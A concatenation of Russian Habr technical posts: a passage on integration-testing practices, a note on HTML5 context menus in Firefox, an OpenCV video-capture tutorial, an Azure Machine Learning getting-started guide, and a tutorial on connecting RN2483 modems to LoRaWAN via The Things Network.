Рис. 2 – БД, доступная для внешних приложенийОсновные приемы интеграционного тестирования
--------------------------------------------
Существует несколько общих рекомендаций, которые помогут извлечь максимальную пользу из интеграционных тестов:
* явное определение границ доменной модели (модели предметной области);
* сокращение количества слоев в приложении;
* устранение циклических зависимостей.
**Явное определение границ модели предметной области**. Доменная модель представляет собой совокупность знаний о предметной области задачи, для решения которой предназначен ваш проект. Данная практика помогает с тестированием. Юнит-тесты должны ориентироваться на доменную модель и алгоритмы, тогда как интеграционные тесты — на контроллеры. Таким образом, четкое разграничение между доменными классами и контроллерами также помогает отделить юнит-тесты от интеграционных.
**Сокращение количества слоев**. Многие разработчики стремятся к абстрагированию и обобщению кода путем введения дополнительных уровней абстракции.
Рис. 3 – Типичное корпоративное приложение с несколькими слоямиВ некоторых приложениях находится столько уровней абстракции, что разработчик уже не может разобраться в коде и понять логику даже простейших операций.
> «Все проблемы в программировании можно решить путем добавления нового уровня абстракции (кроме проблемы наличия слишком большого количества уровней абстракции)».
> Дэвид Дж. Уилер
>
>
Лишние абстракции также затрудняют юнит- и интеграционное тестирование. Кодовые базы со слишком большим количеством слоев обычно не имеют четкой границы между контроллерами и моделью предметной области. Старайтесь ограничиться минимально возможным количеством уровней абстракции. В большинстве серверных систем можно обойтись всего тремя: слоем доменной модели, слоем сервисов приложения (контроллеров) и слоем инфраструктуры.
**Исключение циклических зависимостей**. Циклическая зависимость возникает в том случае, если два или более класса прямо или косвенно зависят друг от друга. Типичный пример циклической зависимости — обратный вызов:
```
public class CheckOutService
{
public void CheckOut(int orderId)
{
var service = new ReportGenerationService();
service.GenerateReport(orderId, this);
/* остальной код */
}
}
public class ReportGenerationService
{
public void GenerateReport(
int orderId,
CheckOutService checkOutService)
{
/* вызывает checkOutService при завершении генерирования */
}
}
```
Как и в случае с избыточными уровнями абстракции, циклические ссылки создают дополнительную когнитивную нагрузку при попытке прочитать и понять код. Циклические зависимости также усложняют тестирование. Вам часто приходится использовать интерфейсы и моки, для того чтобы разбить граф классов и изолировать одну единицу поведения.
Что же делать с циклическими зависимостями? Лучше всего совсем избавиться от них. Отрефакторить класс ReportGenerationService, чтобы он не зависел от CheckOutService и сделать так, чтобы ReportGenerationService возвращал результат работы в виде простого значения вместо вызова CheckOutService:
```
public class CheckOutService
{
public void CheckOut(int orderId)
{
var service = new ReportGenerationService();
Report report = service.GenerateReport(orderId);
/* прочая работа */
}
}
public class ReportGenerationService
{
public Report GenerateReport(int orderId)
{
/* ... */
}
}
```
Использование нескольких секций действий в тестах
-------------------------------------------------
Как вы, возможно, помните из предыдущего конспекта «Анатомия юнит-тестов», наличие более одной секции подготовки, действий или проверки в тесте — плохой признак. Он указывает на то, что тест проверяет несколько единиц поведения, что, в свою очередь, ухудшает сопровождаемость теста. Например, если имеются два связанных сценария использования (допустим, регистрация и удаление пользователя).
* *подготовка* — подготовка данных для регистрации пользователя;
* действие — вызов UserController.RegisterUser();
* *проверка —* запрос к базе данных для проверки успешного завершения регистрации;
* действие — вызов UserController.DeleteUser();
* *проверка* — запрос к базе данных для проверки успешного удаления.
Лучше всего разбить тест, выделив каждое действие в отдельный тест. На первый взгляд это может показаться лишней работой, но эта работа окупается в долгосрочной перспективе. Фокусировка каждого теста на одной единице поведения упрощает понимание и изменение этих тестов при необходимости.
Исключение из этой рекомендации составляют тесты, работающие с внепроцессными зависимостями, трудно приводимыми в нужное состояние. Например, регистрация пользователя приводит к созданию банковского счета во внешней банковской системе. Банк предоставил вашей организации тестовую среду, которую вы хотите использовать для сквозных тестов. К сожалению, тестовая среда работает слишком медленно; также возможно, что банк ограничивает количество обращений к этой тестовой среде. В таком сценарии удобнее объединить несколько действий в один тест, чтобы сократить количество взаимодействий с проблемной внепроцессной зависимостью.
Выводы
------
Интеграционные тесты проверяют, как ваша система работает в интеграции с внепроцессными зависимостями.
Интеграционные тесты покрывают контроллеры; юнит-тесты покрывают алгоритмы и доменную модель.
Интеграционные тесты обеспечивают лучшую защиту от багов и устойчивость к рефакторингу; юнит-тесты более просты в поддержке и дают более быструю обратную связь.
«Порог» для написания интеграционных тестов выше, чем для юнит-тестов: их эффективность по метрике защиты от багов и устойчивости к рефакторингу должна быть выше, чем у юнит-тестов, для того чтобы скомпенсировать дополнительную сложность в поддержке и медленную обратную связь. Пирамида тестирования отражает этот компромисс: большинство тестов должны составлять быстрые и простые в поддержке юнит-тесты при меньшем количестве медленных и более сложных в поддержке интеграционных тестов, проверяющих правильность системы в целом.
Управляемые зависимости представляют собой внепроцессные зависимости, доступ к которым осуществляется только через ваше приложение. Взаимодействия с управляемыми зависимостями не видимы извне. Типичный пример — база данных приложения.
Неуправляемые зависимости — внепроцессные зависимости, доступные для других приложений. Взаимодействия с неуправляемыми зависимостями видны снаружи. Типичные примеры — сервер SMTP и шина сообщений.
Взаимодействия с управляемыми зависимостями являются деталями имплементации; взаимодействия с неуправляемыми зависимостями являются частью наблюдаемого поведения вашей системы.
Иногда внепроцессная зависимость обладает свойствами как управляемых, так и неуправляемых зависимостей. Типичный пример — база данных, доступная для других приложений. Наблюдаемую часть такой базы следует интерпретировать как неуправляемую зависимость; заменяйте ее моками в тестах. Рассматривайте остальную часть зависимости как управляемую — проверяйте ее итоговое состояние, а не взаимодействия с ней.
Выделите явное место для модели предметной области в коде. Четкая граница между классами предметной области и контроллерами помогает отличать юниттесты от интеграционных.
Лишние уровни абстракции отрицательно влияют на вашу способность понимать код. Постарайтесь свести количество этих уровней к минимуму. В большинстве бэкенд-систем достаточно всего трех слоев: предметной области, сервисов приложения и инфраструктуры.
Циклические зависимости увеличивают когнитивную нагрузку при попытках разобраться в коде. Типичный пример — обратный вызов (когда вызываемая сторона уведомляет вызывающую о результате своей работы).
Множественные секции действий в тестах оправданны только в том случае, если тест работает с внепроцессными зависимостями, которые трудно привести в нужное состояние. Никогда не включайте несколько действий в юнит-тест, потому что юнит-тесты не работают с внепроцессными зависимостями. Многофазные тесты почти всегда принадлежат к категории сквозных.
Ссылки на все части
-------------------
* [Анатомия юнит-теста](https://habr.com/ru/post/554808/)
* [Аспекты хороших юнит-тестов](https://habr.com/ru/post/555402/)
* [Для чего нужно интеграционное тестирование?](https://habr.com/ru/post/556002/) | https://habr.com/ru/post/556002/ | null | ru | null |
# В конце этого года наступит эпоха вмешательства сайтов в контекстное меню браузеров посредством HTML5
Всякий, кто читал сколько-нибудь недавний черновик стандарта HTML5 и доходил там до подраздела 4.11.4.3 («[Context menus](http://www.w3.org/TR/html5/interactive-elements.html#context-menus)»), уж конечно видал в нём, что стародавнему элементу придали новый смысл — так что он может использоваться, в частности, для пополнения контекстного меню некоторого элемента формы новыми командами, вызывающими на исполнение джаваскрипты:
```
Character name:
```
Некоторое время нововведение можно было попросту игнорировать: право же, ну какое значение мог иметь кусок черновика, не поддерживаемый ещё ни одним браузером?
Но это время стремительно близится к концу.
На днях вышел Firefox 6. И новый шестинедельный цикл разработки Файерфоксов означает, что через ≈12 недель (через ≈три месяца, в ноябре нынешнего 2011 года) выйдет и Firefox 8, сейчас находящийся в состоянии «Aurora» (то есть в фазе альфа-тестирования).
Firefox 8, господа, [будет поддерживать](https://developer.mozilla.org/en/Firefox_8_for_developers#HTML) атрибут **contextmenu**; у всех вас (да и у меня также) есть не более двенадцати недель для подготовки к появлению вышеописанного нововведения в массовой реальности. | https://habr.com/ru/post/126478/ | null | ru | null |
# OpenCV. Видео с камеры. Пишем в файл
##### Приветствую!
В прошлых уроках:
[OpenCV. Вывод видео](http://lockdog.habrahabr.ru/blog/76723/)
[OpenCV (компьютерное зрение). Установка под MSVS 2008. «Hello World»](http://lockdog.habrahabr.ru/blog/76133/)
Мы научились устанавливать OpenCV, написали первую программу и считывали видео из файла.
Сейчас я хочу показать вам, как просто захватывать видео с камеры и научимся сохранять видео в файл.
Поехали!
#### Видео с камеры.
В последнем уроке было описано, как можно прочитать видео из файла. Но вряд ли OpenCV стоит использовать для обработки уже записанного видео. Более широкое применение этой библиотеке можно найти в обработке real-time видео.
Посмотрим на код:
`#include "highgui.h"
int main( int argc, char** argv )
{
cvNamedWindow( "CAM Capture", CV_WINDOW_AUTOSIZE );
CvCapture* capture = cvCreateCameraCapture(-1);
assert(capture != NULL);
IplImage* frame;
while(1)
{
frame = cvQueryFrame( capture );
if( !frame ) break;
cvShowImage( "CAM Capture", frame );
char c = cvWaitKey(33);
if( c == 27 ) break;
}
cvReleaseCapture( &capture );
cvDestroyWindow( "CAM Capture" );
}`
По сравнению с кодом предыдущего урока отличий особых незаметно.
Только функцию `cvCreateFileCapture()` мы заменяем на
`cvCreateCameraCapture()`, в качестве параметра мы передаём ей не путь к файлу, а ID камеры — если у вас одна камера, то смело выставляйте значение -1.
А дальше всё происходит, как и с видео-файлом.
#### Пишем в файл.
В некоторых ситуациях требуется записать полученное видео в файл, в том числе после его обработки. Библиотека OpenCV позволяет это делать. Когда мы уже создали устройство захвата, которое позволяет нам забирать кадры из видео-потока, то далее нам потребуется создать устройство записи, чтобы записывать полученные кадры в видео-файл. Для этого нам пригодится функция `cvCreateVideoWriter()`.
Далее для каждого кадра мы должны использовать `cvWriteFrame()` и в заключении всего мы воспользуемся `cvReleaseVdeoWriter()`.
`#include "highgui.h"
#include "cv.h"
int main(int argc, char** argv[])
{
CvCapture* capture = cvCreateFileCapture("f.avi");
if( !capture )
{
return -1;
}
IplImage* bgr_frame = cvQueryFrame( capture );
double fps = cvGetCaptureProperty( capture, CV_CAP_PROP_FPS);
CvSize size = cvSize((int)cvGetCaptureProperty( capture, CV_CAP_PROP_FRAME_WIDTH),
(int)cvGetCaptureProperty( capture, CV_CAP_PROP_FRAME_HEIGHT));
CvVideoWriter* writer = cvCreateVideoWriter("1.avi", CV_FOURCC('M','J','P','G'), fps, size);
IplImage* logpolar_frame = cvCreateImage( size, IPL_DEPTH_8U, 3);
while( (bgr_frame=cvQueryFrame(capture)) != NULL )
{
cvLogPolar( bgr_frame, logpolar_frame, cvPoint2D32f(bgr_frame->width/2, bgr_frame->height/2),
40, CV_INTER_LINEAR+CV_WARP_FILL_OUTLIERS );
cvWriteFrame( writer, logpolar_frame );
}
cvReleaseVideoWriter( &writer );
cvReleaseImage( &logpolar_frame );
cvReleaseCapture( &capture );
return(0);
}`
Сложностей, я думаю, возникнуть не должно.
В этой программке мы выполняем небольшое преобразование (log-polar), а проще говоря делаем наше видео чёрно-белым, а ещё точнее — в оттенках серого. :)
Ширина, высота и fps выходного видео будут такими же, как и у входного, для этого мы и используем строчки:
`double fps = cvGetCaptureProperty( capture, CV_CAP_PROP_FPS);
CvSize size = cvSize((int)cvGetCaptureProperty( capture, CV_CAP_PROP_FRAME_WIDTH),
(int)cvGetCaptureProperty( capture, CV_CAP_PROP_FRAME_HEIGHT));
CvVideoWriter* writer = cvCreateVideoWriter("1.avi", CV_FOURCC('M','J','P','G'), fps, size);`
CV\_FOURCC('M','J','P','G') — здесь мы задаём кодек MJPG (*motion jpeg*).
А цикл:
`while( (bgr_frame=cvQueryFrame(capture)) != NULL )
{
cvLogPolar( bgr_frame, logpolar_frame, cvPoint2D32f(bgr_frame->width/2, bgr_frame->height/2),
40, CV_INTER_LINEAR+CV_WARP_FILL_OUTLIERS );
cvWriteFrame( writer, logpolar_frame );
}`
непосредственно выполняет преобразование.
Позже мы более подробно изучим функцию cvLogPolar и все её параметры.
На этом ещё один урок закончен, буду рад всем вашим замечаниям и предложениям! | https://habr.com/ru/post/78150/ | null | ru | null |
# Как преодолеть страх и начать использовать Azure Machine Learning
Я знаю многих Data Scientist-ов — да и пожалуй сам к ним отношусь — которые работают на машинах с GPU, локальных или виртуальных, расположенных в облаке, либо через Jupyter Notebook, либо через какую-то среду разработки Python. Работая в течение 2 лет экспертом-разработчиком по AI/ML я делал именно так, при этом подготавливал данные на обычном сервере или рабочей станции, а запускал обучение на виртуалке с GPU в Azure.
Конечно, мы все слышали про [Azure Machine Learning](https://docs.microsoft.com/azure/machine-learning/?WT.mc_id=habr-blog-dmitryso) — специальную облачную платформу для машинного обучения. Однако после первого же взгляда на [вводные статьи](https://docs.microsoft.com/azure/machine-learning/tutorial-train-models-with-aml/?WT.mc_id=habr-blog-dmitryso), создаётся впечатление, что Azure ML создаст вам больше проблем, чем решит. Например, в упомянутом выше обучающем примере обучение на Azure ML запускается из Jupyter Notebook, при этом сам обучающий скрипт предлагается создавать и редактировать как текстовый файл в одной из ячеек — при этом не используя автодополнение, подсветку синтаксиса и другие преимущества нормальной среды разработки. По этой причине мы долгое время всерьез не использовали Azure ML в своей работе.
Однако недавно я обнаружил способ, как начать эффективно использовать Azure ML в своей работе! Интересны подробности?
Основной секрет — это [расширение Visual Studio Code для Azure ML](https://marketplace.visualstudio.com/items?itemName=ms-toolsai.vscode-ai#overview). Оно позволяет вам разрабатывать обучающие скрипты прямо в VS Code, используя все преимущества среды — при этом вы можете даже запускать скрипт локально, а затем просто взять и отправить его на обучение в кластере Azure ML несколькими щелчками мыши. Удобно, не правда ли?
При этом вы получаете следующие преимущества от использования Azure ML:
* Можно работать большую часть времени локально на своей машине в удобном IDE, и **использовать GPU только для обучения модели**. При этом пул обучающих ресурсов может автоматически подстраиваться под требуемую нагрузку, и установив минимальное количество узлов в 0 вы сможете автоматически запускать виртуалку "по требованию" при наличии обучающих заданий.
* Вы можете **хранить все результаты обучения в одном месте**, включая достигнутые метрики и полученные модели — нет необходимости самому придумывать какую-то систему или порядок для хранения всех результатов.
* При этом **над одним проектом могут работать несколько человек** — они могут использовать один и тот же вычислительный кластер, все эксперименты будут при этом выстраиваться в очередь, а также они могут видеть результаты экспериментов друг друга. Одним из таких сценариев является **использование Azure ML в преподавании Deep Learning**, когда вместо того, чтобы давать каждому студенту виртуальную машину с GPU, вы можете создать один кластер, который будет использоваться всеми централизованно. Кроме того, общая таблица результатов с точностью модели может служить хорошим соревновательным элементом.
* С помощью Azure ML можно легко проводить серии экспериментов, например, для **оптимизации гиперпараметров** — это можно делать несколькими строчками кода, нет необходимости проводить серии экспериментов вручную.
Надеюсь, я убедил вас попробовать Azure ML! Вот как можно начать:
* Убедитесь, что у вас установлена [Visual Studio Code](http://code.visualstudio.com/?WT.mc_id=habr-blog-dmitryso), а также расширения [Azure Sign In](https://marketplace.visualstudio.com/items?itemName=ms-vscode.azure-account) и [Azure ML](https://marketplace.visualstudio.com/items?itemName=ms-toolsai.vscode-ai#overview)
* Клонируйте репозиторий <https://github.com/CloudAdvocacy/AzureMLStarter> — он содержит некоторый демонстрационный код для тренировки модели распознавания рукописных цифр на датасете MNIST.
* Откройте клонированный репозиторий в Visual Studio Code.
* Читайте дальше!
Azure ML Workspace и Azure ML Portal
------------------------------------
Azure ML организован вокруг концепции **рабочей области** — Workspace. В рабочей области могут храниться данные, в неё отправляют эксперименты для обучения, там же хранятся результаты обучения — полученные метрики и модели. Посмотреть, что находится внутри рабочей области, можно через [**портал Azure ML**](http://ml.azure.com/?WT.mc_id=habr-blog-dmitryso) — и оттуда же можно совершать множество операций, начиная от загрузки данных и заканчивая мониторингом экспериментов и развертыванием моделей.
Создать рабочую область можно через веб-интерфейс [Azure Portal](https://portal.azure.com/?WT.mc_id=habr-blog-dmitryso) (см. [пошаговые инструкции](https://docs.microsoft.com/azure/machine-learning/how-to-manage-workspace/?WT.mc_id=habr-blog-dmitryso)), или с использованием командной строки Azure CLI ([инструкции](https://docs.microsoft.com/en-us/azure/machine-learning/how-to-manage-workspace-cli/?WT.mc_id=habr-blog-dmitryso)):
```
az extension add -n azure-cli-ml
az group create -n myazml -l northeurope
az ml workspace create -w myworkspace -g myazml
```
С рабочей областью связаны также некоторые **вычислительные ресурсы** (*Compute*). Создав скрипт для обучения модели, вы можете **послать эксперимент на выполнение** в рабочую область, и указать **compute target** — при этом скрипт будет упакован, запущен в нужной вычислительной среде, а затем все результаты эксперимента будут сохранены в рабочей области для дальнейшего анализа и использования.
Обучающий скрипт для MNIST
--------------------------
Рассмотрим классическую задачу [распознавания рукописных цифр](https://www.kaggle.com/c/digit-recognizer) с использованием набора данных MNIST. Аналогично в дальнейшем вы сможете выполнять любые свои обучающие скрипты.
В нашем репозитории есть скрипт `train_local.py`, который обучаем простейшую модель линейной регрессии с использованием библиотеки SkLearn. Конечно, я понимаю, что это не самый лучший способ решить задачу — мы используем его для примера, как самый простой.
Скрипт сначала скачивает данные MNIST из OpenML, а затем использует класс `LogisticRegression` для обучения модели, и затем печатает полученную точность:
```
mnist = fetch_openml('mnist_784')
mnist['target'] = np.array([int(x) for x in mnist['target']])
shuffle_index = np.random.permutation(len(mist['data']))
X, y = mnist['data'][shuffle_index], mnist['target'][shuffle_index]
X_train, X_test, y_train, y_test =
train_test_split(X, y, test_size = 0.3, random_state = 42)
lr = LogisticRegression()
lr.fit(X_train, y_train)
y_hat = lr.predict(X_test)
acc = np.average(np.int32(y_hat == y_test))
print('Overall accuracy:', acc)
```
Вы можете запустить скрипт на своём компьютере и через пару секунд получите результат.
Запускаем скрипт в Azure ML
---------------------------
Если же мы будем запускать скрипт на обучение через Azure ML, у нас будет два основных преимущества:
* Запуск обучения на произвольном вычислительном ресурсе, который, как правило, более производительный, чем локальный компьютер. При этом Azure ML сам позаботится о том, чтобы упаковать наш скрипт со всеми файлами из текущей директории в docker-контейнер, установить требуемые зависимости, и отправить его на выполнение.
* Запись результатов в единый реестр внутри рабочей области Azure ML. Чтобы воспользоваться этой возможностью, нам нужно добавить пару строчек кода к нашему скрипту для записи результирующей точности:
```
from azureml.core.run import Run
...
try:
run = Run.get_submitted_run()
run.log('accuracy', acc)
except:
pass
```
Соответствующая версия скрипта называется `train_universal.py` (она чуть более хитро устроена, чем написано выше, но не сильно). Этот скрипт можно запускать как локально, так и на удалённом вычислительном ресурсе.
Чтобы запустить его в Azure ML из VS Code, надо проделать следующее:
1. Убедитесь, что Azure Extension подключено к вашей подписке. Выберите иконку Azure в меню слева. Если вы не подключены, в правом нижнем углу появится уведомление ([вот такое](https://habrastorage.org/webt/7b/ii/u6/7biiu6ktpygayub0ff17-u36om4.png)), нажав на которое вы сможете войти через браузер. Можно также нажать **Ctrl-Shift-P** для вызова командной строки VS Code, и набрать **Azure Sign In**.
2. После этого, в разделе Azure (иконка слева) найдите секцию **MACHINE LEARNING**:
Здесь вы должны видеть разные группы объектов внутри рабочей области: вычислительные ресурсы, эксперименты и т.д.
1. Перейдите к списку файлов, нажмите правой кнопкой на скрипте `train_universal.py` и выберите **Azure ML: Run as experiment in Azure**.
1. После этого последует серия диалогов в области командной строки VS Code: подтвердите используемую подписку и рабочую область Azure ML, а также выберите **Create new experiment**:
1. Выберите создание нового вычислительного ресурса **Create New Compute**:
* **Compute** определяет вычислительный ресурс, на котором будет происходить обучение. Вы можете выбрать локальный компьютер, или облачный кластер AmlCompute. Я рекомендую создать масштабируемый кластер машин `STANDARD_DS3_v2`, с минимальным числом машин 0 (а максимальное может быть 1 или больше, в зависимости от ваших аппетитов). Это можно сделать через интерфейс VS Code, или предварительно через [ML Portal](http://ml.azure.com/?WT.mc_id=habr-blog-dmitryso).
2. Далее необходимо выбрать конфигурацию **Compute Configuration**, которая определяет параметры создаваемого для обучения контейнера, в частности, все необходимые библиотеки. В нашем случае, поскольку мы используем Scikit Learn, выбираем *SkLearn*, и затем просто подтверждаем предложенный список библиотек нажатием Enter. Если вы используете какие-то дополнительные библиотеки — их необходимо здесь указать.
3. После этого откроется окно с JSON-файлом, описывающим эксперимент. В нём можно исправить некоторые параметры — например, имя эксперимента. После этого нажмите на ссылку **Submit Experiment** прямо внутри этого файла:
1. После успешной подачи эксперимента через VS Code, справа в области уведомлений вы увидите ссылку на [Azure ML Portal](http://ml.azure.com/?WT.mc_id=ca-github-dmitryso), на которой сможете отслеживать статус и результаты эксперимента.
Впоследствии вы всегда сможете найти его в разделе **Experiments** [Azure ML Portal](http://ml.azure.com/?WT.mc_id=habr-blog-dmitryso), или в разделе **Azure Machine Learning** в списке экспериментов:
1. Если вы после этого внесли в код какие-то исправления или изменили параметры — повторный запуск эксперимента будет намного быстрее и проще. Нажав правой кнопкой на файл, вы увидите новый пункт меню **Repeat last run** — просто выберите его, и эксперимент будет сразу же запущен:
Результаты метрик от всех запусков вы всегда сможете найти на Azure ML Portal, нет необходимости их записывать.
Теперь вы знаете, что запускать эксперименты с помощью Azure ML — это просто и безболезненно, и при этом вы получаете ряд приятных преимуществ.
Но вы могли заметить и недостатки. Например, для запуска скрипта потребовалось существенно больше времени. Конечно, для упаковки скрипта в контейнер и разворачивания его на сервере требуется время. Если при этом кластер был урезан до размера в 0 узлов — потребуется ещё больше времени для запуска виртуальной машины, и всё это очень заметно, когда мы экспериментируем на простых задачах типа MNIST, которые решаются за несколько секунд. Однако, в реальной жизни, когда обучение длится несколько часов, а то и дней или недель, это дополнительное время становится несущественным, особенно на фоне сильно более высокой производительности, которую может дать вычислительный кластер.
Что дальше?
-----------
Я надеюсь, что после прочтения этой статьи вы сможете и будете использовать Azure ML в своей работе для запуска скриптов, управления вычислительными ресурсами и централизованного хранения результатов. Однако Azure ML может предоставить вам ещё больше преимуществ!
Внутри рабочей области можно хранить данные, тем самым создавая централизованное хранилище для всех своих задач, к которому легко обращаться. Кроме того, вы можете запускать эксперименты не из Visual Studio Code, а с использованием API — это может быть особенно полезно, если вам нужно совершить оптимизацию гиперпараметров, и нужно запустить скрипт много раз с разными параметрами. Более того, в Azure ML встроена специальная технология [**Hyperdrive**](https://docs.microsoft.com/azure/machine-learning/how-to-tune-hyperparameters/?WT.mc_id=habr-blog-dmitryso), которая позволяет делать более хитрый поиск и оптимизацию гиперпараметров. Об этих возможностях я расскажу в своей следующей заметке.
Полезные ресурсы
----------------
Для более подробного изучения Azure ML, вам могут пригодиться следующие курсы Microsoft Learn:
* [Введение в службу Azure ML](https://docs.microsoft.com/learn/modules/intro-to-azure-machine-learning-service/?WT.mc_id=habr-blog-dmitryso)
* [Построение ИИ-решений с помощью службы Azure ML](https://docs.microsoft.com/ru-ru/learn/paths/build-ai-solutions-with-azure-ml-service/?WT.mc_id=habr-blog-dmitryso)
* [Обучение локальной модели с помощью службы Azure ML](https://docs.microsoft.com/ru-ru/learn/modules/train-local-model-with-azure-mls/?WT.mc_id=habr-blog-dmitryso) | https://habr.com/ru/post/485338/ | null | ru | null |
# Тестирование радиомодемов LoRa/LoRaWAN RN2483. Часть 2, LoRaWAN
[В предыдущей части](https://geektimes.ru/post/281286/) рассказывалось, как подключить модемы RN2483 в режиме LoRa. Сейчас перейдем к следующей, более сложной части — подключению к сети LoRaWAN.
### Что такое LoRaWAN?
LoRaWAN — это «условно глобальная» сеть, состоящая из конечных устройств (nodes), отправляющих данные на концентраторы (gateway). Каждый концентратор имеет доступ к сети Интернет, и отправляет принятые данные на сервер, который в свою очередь рассылает их подписанным клиентам. Сеть с одной стороны, «глобальная», т.к. данные может принять любой, находящийся поблизости gateway, с другой стороны, она «условно глобальная», т.к. без интернета/интранета оно все равно работать не будет (хотя никто не мешает иметь собственный gateway и сервер внутри организации).
В качестве «узла» будет использоваться модем RN2483, для подключения будет использоваться бесплатный [сервис](https://www.thethingsnetwork.org). Продолжение под катом.
### Сеть The Things Network
Сервис [www.thethingsnetwork.org](https://www.thethingsnetwork.org) — это открытое сообщество, пользователи которого могут создавать, регистрировать устройства и концентраторы, экспериментировать с тем как все это работает, и т.д. Как говорится, бесплатно и без SMS. Им мы для тестирования и воспользуемся.
Любой желающий может зарегистрировать в сети как node, так и gateway. Сеть The Things Network совершенно бесплатная, многие энтузиасты покупают оборудование за свой счет.
Карта покрытия на момент написания статьи выглядит следующим образом:
Как можно видеть, русскоязычный сегмент покрытия оставляет желать лучшего, но все же он есть. В этом есть и положительная сторона — в Лондоне или Амстердаме новым концентратором уже никого не удивишь, а в России — вполне есть шанс быть первым.
### Подключение RN2483 к LoRaWAN
В отличие от простого p2p-соединения, в LoRaWAN все гораздо сложнее — устройства регистрируются в сети, траффик шифруется различными ключами, и так далее. Т.к. сеть является публичной и общедоступной, вопросы защиты данных здесь весьма актуальны.
В сети LoRaWAN существует 2 вида аутентификации:
— Аутентификация «по воздуху» (**OTAA**, Over-the-Air Activation). Устройства регистрируются в сети и получают ключ, необходимый для работы.
— Активация **ABP** (Activation by Personalization). Настройки заранее прописываются в устройстве, дополнительной аутентификации не требуется. Этот режим проще, однако есть и минус — данные просто отправляются в эфир, нет гарантии что они были получены концентратором.
**Важно**: многие дешевые одноканальные концентраторы поддерживают только режим ABP, так что первый способ может и не сработать.
### 1. Регистрация устройства — OTAA
Первым делом необходимо зайти на сайт [staging.thethingsnetwork.org](https://staging.thethingsnetwork.org) и зарегистрировать «приложение» (application). Я назвал его Raspberry Pi Home. При регистрации приложения юзер получает первый ключ, который пригодится в дальнейшем.
Далее мы видим вкладку Devices, куда можно внести наш модем (их может быть несколько). Нажимаем «register device» и выбираем режим OTAA. Появляется окно, в котором нужно ввести идентификатор девайса.
Этот идентификатор можно получить, послав модему команду «sys get hweui». На этом регистрация закончена, как и было обещано, бесплатно и без SMS.
Открыв параметры девайса, можно увидеть все ключи, их необходимо прописать в программе.
Для упрощения кода, я воспользовался библиотекой [python-loranode](https://github.com/rpp0/python-loranode), исходный код для отправки данных приведен ниже. Как можно видеть, в коде есть 3 строки appkey, appeui и deveui, которые используются для аутентификации.
**Исходный код**
```
from loranode import RN2483Controller
from commands import *
import time
# LoRaController OTAA based join and message test
if __name__ == "__main__":
set_debug_level(Level.DEBUG)
port = "COM3"
appkey = "58FF3007CAED02xxxxxxxxxxxxxxxxxxxx"
appeui = "70B3D57Exxxxxxxxxxxxxx"
deveui = "0004A30xxxxxxxxxxx"
# Test controller
lc = RN2483Controller(port)
if lc.test():
printd("[+] Connected to LoRa RN2483 device", Level.INFO)
lc.serial_sr(CMD_GET_VERSION)
lc.serial_sr(CMD_GET_HWEUI)
lc.get_freq()
else:
printd(clr(Color.YELLOW, "[-] Failed to get version from LoRa device"), Level.WARNING)
lc.set_pwr(15)
lc.set_adr(False)
lc.serial_sr(CMD_SET_SF, "sf7") # sf12, sf7
# Join and send a message
if lc.join_otaa(appkey, appeui, deveui):
printd("[+] Connected to gateway", Level.INFO)
# Data-1
printd("[+] Sending packet #1", Level.INFO)
timeStr = time.strftime("%H%M", time.gmtime())
if lc.send(timeStr, ack=False):
printd(clr(Color.GREEN, "[+] Send-1 succeeded"), Level.CRITICAL)
else:
printd(clr(Color.RED, "[+] Send-1 failed"), Level.CRITICAL)
time.sleep(15)
# Data-2
printd("[+] Sending packet #2", Level.INFO)
timeStr = time.strftime("%H%M", time.gmtime())
if lc.send(timeStr, ack=False):
printd(clr(Color.GREEN, "[+] Send-2 succeeded"), Level.CRITICAL)
else:
printd(clr(Color.RED, "[+] Send-2 failed"), Level.CRITICAL)
time.sleep(15)
del lc
exit()
del lc
printd(clr(Color.RED, "[-] Test failed"), Level.CRITICAL)
```
В этом примере на сервер отправляются пакеты, содержащие текущее время (ччмм). Это удобно для контроля того, какой пакет был принят.
### 2. Регистрация устройства — ABP
Здесь все проще — регистрируем устройство как ABP, и получаем несколько ключей, которые необходимо прописать в программе.
Модем отправляет данные «как есть», никакой гарантии что аутентификация была успешной, нет.
Для отправки данных, необходимо вставить в код ключи nwkskey, appskey, devaddr. Исходный код приведен ниже.
**Исходный код**
```
from loranode import RN2483Controller
import platform
from commands import *
import time
# LoRaController ABP based join and ACK test
if __name__ == "__main__":
set_debug_level(Level.DEBUG)
port = "COM3"
nwkskey = "58AA52E96035Axxxxxxxxxxxxxxxxxxxx"
appskey = "381B1C9206E9BE9xxxxxxxxxxxxxxxxxxx"
devaddr = "B639xxxx"
lc = None
try:
# Test controller
lc = RN2483Controller(port)
if lc.test():
printd("[+] Connected to LoRa RN2483 device", Level.INFO)
lc.serial_sr(CMD_GET_VERSION)
lc.serial_sr(CMD_GET_HWEUI)
lc.get_freq()
else:
printd(clr(Color.YELLOW, "[-] Failed to get version from LoRa device"), Level.WARNING)
except Exception, e:
print "Error: " + str(e)
if lc is None:
printd(Color.YELLOW, "Error: cannot connect to device")
exit()
lc.set_adr(False)
lc.set_pwr(15)
lc.serial_sr(CMD_MAC_PAUSE)
lc.serial_sr(CMD_SET_SF, "sf12") # sf12, sf7
lc.serial_sr(CMD_MAC_RESUME)
# Join and send a message
if lc.join_abp(nwkskey, appskey, devaddr):
printd("[+] Connected to gateway", Level.INFO)
# Data-1
printd("[+] Sending packet #1", Level.INFO)
timeStr = time.strftime("%H%M", time.gmtime())
if lc.send(timeStr, ack=False):
printd(clr(Color.GREEN, "[+] Send-1 succeeded"), Level.CRITICAL)
else:
printd(clr(Color.RED, "[+] Send-1 failed"), Level.CRITICAL)
time.sleep(15)
# Data-2
printd("[+] Sending packet #2", Level.INFO)
timeStr = time.strftime("%H%M", time.gmtime())
if lc.send(timeStr, ack=False):
printd(clr(Color.GREEN, "[+] Send-2 succeeded"), Level.CRITICAL)
else:
printd(clr(Color.RED, "[+] Send-2 failed"), Level.CRITICAL)
time.sleep(15)
del lc
exit()
printd(clr(Color.RED, "[-] Test failed"), Level.CRITICAL)
del lc
```
### Тестирование
Последний шаг, остается одно — взять ноутбук (или Arduino или Raspberry Pi) с модемом с собой и пойти (поехать, полететь) в то место, где находится зона покрытия ближайшего gateway. Мне до ближайшей зоны покрытия где-то полчаса на трамвае, так что процесс не столь долгий и дорогой.
В случае успешного приема данных, пакеты будут отображены на сервере.
Сам сервер с данными ничего не делает, на сервере можно настроить собственный код для обработки полученных данных. Данный пример лишь тестовый, с данными не делается ничего, в реальном приложении их можно складывать в базу, отсылать уведомления и пр, все зависит от поставленной задачи.
### Зачем это надо?
